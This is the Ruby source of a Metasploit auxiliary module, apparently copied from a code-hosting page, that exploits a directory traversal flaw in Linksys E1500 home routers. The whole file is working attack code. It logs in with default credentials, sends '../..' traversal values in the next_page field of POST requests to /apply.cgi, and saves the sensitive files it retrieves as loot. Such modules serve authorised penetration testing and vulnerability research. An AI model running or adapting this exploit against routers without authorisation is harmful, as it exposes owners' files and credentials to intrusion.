128 lines
3.9 KiB
Ruby
128 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Linksys E1500 Directory Traversal Vulnerability',
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'Description' => %q{
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This module exploits a directory traversal vulnerability which is present in
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different Linksys home routers, like the E1500.
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},
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'References' =>
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[
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
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[ 'URL', 'http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=d7d0a87be9864e20bc347a73f194411f_KB_EN_v1.xml' ],
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[ 'BID', '57760' ],
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[ 'OSVDB', '89911' ],
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[ 'EDB', '24475' ]
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],
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'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
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OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
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OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
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], self.class)
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end
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def extract_words(wordfile)
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return [] unless wordfile && File.readable?(wordfile)
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begin
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words = File.open(wordfile, "rb") do |f|
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f.read
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end
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rescue
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return []
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end
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save_array = words.split(/\r?\n/)
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return save_array
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end
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def find_files(file,user,pass)
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uri = "/apply.cgi"
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traversal = '../..'
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data_trav = "submit_type=wsc_method2&change_action=gozila_cgi&next_page=" << traversal << file
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'authorization' => basic_auth(user,pass),
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'vars_post' => {
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"submit_type" => "wsc_method2",
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"change_action" => "gozila_cgi",
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"next_page" => traversal << file
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}
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})
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#without res.body.length we get lots of false positives
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if (res and res.code == 200 and res.body.length > 0)
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print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
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report_web_vuln({
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:host => rhost,
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:port => rport,
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:vhost => datastore['VHOST'],
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:path => uri,
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:pname => data_trav,
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:risk => 3,
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:proof => data_trav,
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:name => self.fullname,
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:category => "web",
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:method => "POST"
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})
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loot = store_loot("linksys.traversal.data","text/plain", rhost, res.body, file)
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vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
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elsif (res and res.code)
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vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
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end
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end
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def run_host(ip)
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
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#test login
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begin
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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return if res.nil?
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return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)
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return if (res.code == 404)
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if [200, 301, 302].include?(res.code)
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vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
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else
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vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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return
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end
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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return
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end
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extract_words(datastore['SENSITIVE_FILES']).each do |file|
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find_files(file, user, pass) unless file.empty?
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end
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end
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end
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